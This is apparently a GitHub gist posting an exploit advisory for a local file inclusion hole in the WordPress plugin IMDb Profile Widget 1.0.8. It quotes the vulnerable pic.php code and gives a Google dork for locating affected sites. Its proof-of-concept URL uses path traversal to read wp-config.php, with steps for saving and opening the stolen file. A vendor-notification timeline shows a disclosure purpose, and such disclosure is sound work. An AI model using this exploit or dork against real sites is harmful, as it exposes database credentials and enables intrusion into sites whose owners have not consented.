Skip to content

Instantly share code, notes, and snippets.

@CCrashBandicot

CCrashBandicot/IMDb_Profile_Widget_lfi.txt

Created March 31, 2016 01:38
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save CCrashBandicot/ee736ddce3401c0c77de55b1e059592c to your computer and use it in GitHub Desktop.
Save CCrashBandicot/ee736ddce3401c0c77de55b1e059592c to your computer and use it in GitHub Desktop.
Download ZIP
Raw
IMDb_Profile_Widget_lfi.txt
# Exploit Title: Wordpress Plugin IMDb Profile Widget - Local File Inclusion
# Exploit Author: CrashBandicot @DosPerl
# Date: 2016-03-26
# Google Dork : inurl:/wp-content/plugins/imdb-widget
# Vendor Homepage: https://wordpress.org/plugins/imdb-widget/
# Tested on: MSWin32
# Version: 1.0.8
# Vuln file : pic.php
<?php
header( 'Content-Type: image/jpeg' );
readfile( $_GET["url"] );
# PoC : /wp-content/plugins/imdb-widget/pic.php?url=../../../wp-config.php
# Right click -> Save As -> rename pic.jpg in .txt and read file
# 26/03/2016 - Informed Vendor about Issue
# 27/03/2016 - Waiting Reply
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment